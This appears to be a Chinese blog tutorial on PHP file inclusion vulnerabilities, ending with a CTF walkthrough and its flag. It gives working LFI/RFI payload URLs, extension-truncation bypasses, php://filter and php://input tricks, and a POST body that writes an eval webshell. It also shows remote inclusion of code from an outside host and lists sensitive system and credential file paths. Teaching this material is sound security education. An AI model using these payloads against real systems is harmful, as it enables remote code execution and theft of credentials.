浅析PHP文件包含漏洞

本篇笔记参考了以下文章:

Web安全实战系列:文件包含漏洞 - FreeBuf网络安全行业门户

web安全原理-文件包含漏洞 - 笑花大王 - 博客园 (cnblogs.com)

0x01 文件包含简介:

一、什么是文件包含

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

文件包含函数:

PHP中文件包含函数有以下四种:

require()
require_once()
include()
include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

二、文件包含漏洞的产生原因

文件包含函数加载的参数没有经过过滤或者格的定义,可以被用户控制,包含其他恶意文件,导致执行了非预期的代码。

示例代码:

<?php
	$filename = $_GET['filename'];		//以get方法接收一个filename文件并赋值给file变量
	include($filename);					//文件包含这个接收的文件
?>

例如:

$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

个人感觉就是:

本来是用来方便使用重复的代码,但是做不好过滤就会被人利用起来显示出你的任何已知路径的文件或者执行一些他远程服务器的恶意文件。(利用文件包含漏洞进行攻击可以结合文件上传漏洞,先上传恶意文件再文件包含执行)

0x02 本地文件包含漏洞:

一、无限制本地文件包含漏洞

无限制本地文件包含漏洞是指代码中没有为包含文件制定特定前缀或者.php、.html等扩展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息,或者执行其他文件中的代码。

漏洞代码示例:

<?php
	$filename = $_GET['filename'];
	include($filename);
?>

测试示例:

利用漏洞读取Mysql配置信息(在自己本机环境中测试的):

http://127.0.0.1/FileInclude_Test.php?filename=D:\Environment\phpStudy\PHPTutorial\MySQL\my.ini

利用无限制本地文件包含漏洞执行代码:

http://127.0.0.1/FileInclude_Test.php?filename=Hello.txt

常见的敏感信息路径:

windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

*二、session文件包含漏洞

当可以获取Session文件的路径并且Session文件的内容可控时,就可以通过包含Session内容可控。

利用条件:

  1. 可以获取session文件的存储位置。

    获取session文件存储位置的方式:

    (1) 通过phpinfo的信息可以获取到session的存储位置。

    ​ 通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:

(2) 通过猜测默认的session存放位置进行尝试。

​ 如Linux下默认存储在/var/lib/php/session目录下:

  1. session中的内容可以被控制,可以传入恶意代码

漏洞利用代码示例:

<?php
	session_start();					//启用新会话或重用现有会话(初始化session变量),返回true或false
	$ctfs=$_GET['ctfs'];				//定义一个ctfs变量接受GET方法的传参
	$_SESSION["username"]=$ctfs;		//$_SESSION是一个预定义数组,该语句可以将ctfs的值写入session中
?>

漏洞利用分析:

此php代码会将获取到的GET型ctfs变量的值存入到session中。

当访问http://127.0.0.1/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。

session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取

所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。

到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

username|s:4:"ctfs";

[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6

username|s:4:"ctfs"

通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。

[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a

username|s:18:"<?php phpinfo();?>";

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

三、有限制本地文件包含漏洞绕过

有限制本地文件包含漏洞是指代码中为包含文件指定了特定的前缀或者.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。常见的有限制本地文件包含过滤,绕过的方式主要有%00截断文件包含路径长度截断文件包含点号截断文件包含这三种。

1. %00截断

%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。攻击者可以利用这个漏洞绕过扩展名过滤。

条件:

magic_quotes_gpc = Off (关闭魔术引号)

php版本<5.3.4

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

构造Payload:

http://127.0.0.1/FileInclude_Test.php?filename=Hello.txt%00				//这里直接让后面加上的.html后缀被截断了

测试结果:

2. 路径长度截断

条件:

Windows系统下目录最大长度为256字节,超出的部分会被丢弃。

Linux系统下目录最大长度为4096字节,超出的部分会被丢弃。

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

构造Payload:

http://127.0.0.1/FileInclude_Test.php?filename=Hello.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

测试结果:

3. 点号截断

条件:

Windows系统,点号需要长于256

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

构造Payload:

http://127.0.0.1/FileInclude_Test.php?filename=Hello.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

测试结果:

0x03 远程文件包含漏洞:

php的配置文件allow_url_fopen和allow_url_include设置为on时,include/inquire等包含函数可以加载远程文件,如果远程文件没有经过严格的过滤,导致执行了恶意文件的代码,这就形成了远程文件包含漏洞

allow_url_fopen = On		//是否允许打开远程文件

allow_url_incude = On		//是否允许include/require包含远程文件

远程文件包含漏洞在本机实验时一直无法成功,一直报错,所以这部分笔记用的都是博客上的实验截图

这部分实验暂且搁置一下,留待做题的时候再看看

一、 无限制远程文件包含漏洞

无限制远程文件包含是指文件的位置并不是本地服务器,而是通过url形式包含其他服务器上的文件,执行文件中的恶意代码。

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

通过远程文件包含漏洞,包含php.txt可以解析。

http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt

测试结果:

与本地文件包含漏洞的区别就在于被包含的恶意文件的位置(本地或远程)

二、 有限制远程文件包含漏洞绕过

有限制远程文件包含是指当代码中存在特定的前缀或者.php、.html等扩展名过滤时,攻击者仅需要绕过前缀或者扩展名过滤,才能执行远程URL中恶意代码。

漏洞代码:

<?php include($_GET['filename'] . ".html"); ?>

代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

1. 问号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?

2. #号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23

3. 空格绕过

用burp跑一遍发现空格也可以绕过:

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20

0x04 PHP伪协议:

PHP带有很多内置url风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。除了这些封装协议,还能通过stream_wrapper_register()来注册自定义的封装协议。

file://——访问本地文件系统

http://——访问HTTP(s)网址

ftp://——访问FTP(s)URLs

php://——访问各个输入/输出流(I/O streams)

zlib://——压缩流

data://——数据(RFC2397)

glob://——查找匹配的文件路径模式

phar://——PHP归档

ssh2://——Secure Shell 2

rar://——RAR

ogg://——音频流

expect://——交互式的流

php://伪协议

php://伪协议是PHP提供的一些输入输出流访问功能,允许访问PHP的输入输出流,标准输入输出和错误描述符,内存中、磁盘备份的临时文件流,以及可以操作其他读取和写入文件资源的过滤器。

一、 php://filter(本地磁盘文件进行读取)

php://filter是元封装器,设计用于“数据流打开”时的“筛选过滤”应用,对本地磁盘文件进行读写。

条件:

只是读取,远程时需要开启allow_url_fopen(本地读取时不需要),不需要开启allow_url_include ;

用法:

?filename=php://filter/convert.base64-encode/resource=xxx.php 
?filename=php://filter/read=convert.base64-encode/resource=xxx.php 

问什么要进行 base64 编码呢?如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了。

测试源码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

payload:

http://www.ctfs-wiki.com/FI/FI.php/?filename=php://filter/read=convert.base64-encode/resource=FI.php

利用了php://filter获取了FI.php文件的Base64编码

二、 php://input

可以访问请求的原始数据的只读流,即可以直接读取到post上没有经过解析的原始数据,但是使用enctype="multipart/form-data"的时候php://input是无效的。

用法:

?file=php://input数据利用post传过去。

1. 读取post数据

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用post方式传数据,具体函数意义下一项;

测试代码:

<?php
    echo file_get_contents("php://input"); 					//输出file_get_contents函数获取的php://input数据
?>

测试结果:

2. 写入木马

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

条件:

想要远程写入木马,php配置文件中需同时开启allow_url_fopen和allow_url_include(PHP<5.3.0),就可以造成任意代码执行,在这里可以理解成远程文件包含漏洞(RFI),即post过去php代码,即可执行。

如果post的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

URL:
	http://www.ctfs-wiki.com/FI/FI.php/?filename=php://input
POST:
	<?php 
    	fputs(fopen('shell.php','w'),'<?php 				@eval($_post[cmd])?>');
	?>

测试结果:

如果不开启allow_url_include会报错:

3. 执行命令

跟写入木马漏洞代码错做基本类似,只是post部分需要修改一下

url: 
	http://www.ctfs-wiki.com/FI/FI.php/?filename=php://input
Post:
	<?php 
		system(‘whoami’);
	?>

三、 file://伪协议(读取文件内容)

通过file://伪协议可以访问本地文件系统,读取到文件的内容

测试代码:

<?php
    $filename = $_GET['filename'];
	include($filename);
?>

四、 data://伪协议

数据流封装器,和php://相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入的payload来实现目的;

data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

和php伪协议和input类似,碰到file_get_contents()来用;

<?php 				//打印“I Love PHP" 
	echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo='); 
?>

利用条件:

allow_url_include=on

allow_url_fopen=on

注意:

<span style="color: rgb(121, 121, 121);"><?php phpinfo();,这类执行代码最后没有?> </span>闭合;

如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI)

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

五、 phar://伪协议

phar://是用来进行解压的伪协议,phar://参数中的文件不管是什么扩展名,都会被当做压缩包

利用条件:

PHP>5.3.0

Allow_url_include=on

Allow_url_fopen=on

漏洞代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

用法:

?file=phar://压缩包/内部文件->phar://xxx.png/shell.php

压缩包要用zip://伪协议压缩,而不能用rar://伪协议

新建xiaohua.txt里面包含恶意代码压缩为xiaohua.zip 或者压缩完改后缀jpg上传 然后执行

Payload:

http://127.0.0.1/test.php?filename=phar://xiaohua.jpg/xiaohua.txt

六、 zip://伪协议

zip伪协议和phar协议在原理上类似,但是用法不一样。

用法:

?file=zip://[压缩文件绝对路径]#【压缩文件内的子文件名】

例:zip://xxx.png#shell.php。

条件:

PHP>=5.3.0,注意在Windows下测试要5.3.0<php<5.4才可以

’#‘在浏览器重要编码为%23,否则浏览器默认不会传输特殊字符。

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

漏洞利用示例:

http://www.ctfs-wiki.com/FI/FI.php?filename=zip//shell.png:shell.php

新建xiaohua.txt里面包含恶意代码压缩为xiaohua.zip 或者压缩完改后缀上传 然后执行

http://www.ctfs-wiki.com/FI/FI.php?filename=zip://shell.png%23shell.php

八、 expect://伪协议

expect://伪协议主要用来执行系统命令,但是需要安装扩展

用法:

?file=expect://ls

0x05实战例题:

BUUCTF-Web-Include:

看题目名字就是文件包含了,打开靶机显示如下

f12看到这个超链接链到一个flag.php的文件,点进去看看

注意红框框的地方,已经可以看出这个地方能够进行文件包含的尝试了

这个文件名为flag.php,别的也没给啥别的提示,我猜测flag就在这个文件里,只是没有输出

用postman发了一个请求,从响应头发现了php的版本信息,可以使用php://filter读取base64编码再解码试试读取flag.php的信息

构造payload:

/?file=php://filter/read=convert.base64-encode/resource=flag.php

成功的到一串base64编码,拿去解码试试

flag到手。flag{ff3a754f-e445-46ed-b983-b0642c83d0cd}

posted @ 2024-03-30 22:58  M0urn  阅读(510)  评论(0编辑  收藏  举报